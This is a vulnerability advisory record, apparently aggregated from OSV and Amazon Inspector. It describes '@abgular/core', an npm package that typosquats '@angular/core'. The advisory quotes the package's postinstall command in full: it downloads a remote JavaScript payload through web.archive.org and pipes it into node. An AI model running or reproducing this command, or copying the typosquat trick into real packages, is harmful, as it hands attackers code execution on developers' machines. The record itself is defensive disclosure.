Malicious code in @abgular/core (npm)

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (4c4c8470613dc3a49e249f1a9f91bc756bb9b4323c78268b35816f07e78a0a9b) Package name `@abgular/core` is a single-character transposition of `@angular/core` and copies that package's description, author, and repository metadata. The package.json declares a `postinstall` script that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching an unpinned, unverified JavaScript payload from a third-party code-hosting service via web.archive.org and piping it directly into `node` during `npm install`. The fetched code executes on the installer's machine with the installer's privileges; its contents are mutable and attacker-controlled. The deceptive package identity ensures developers who mistype `@angular/core` trigger this remote-code execution.

Source published

5 Oct 2026 03:32:45 UTC

Source modified

5 Oct 2026 04:15:06 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.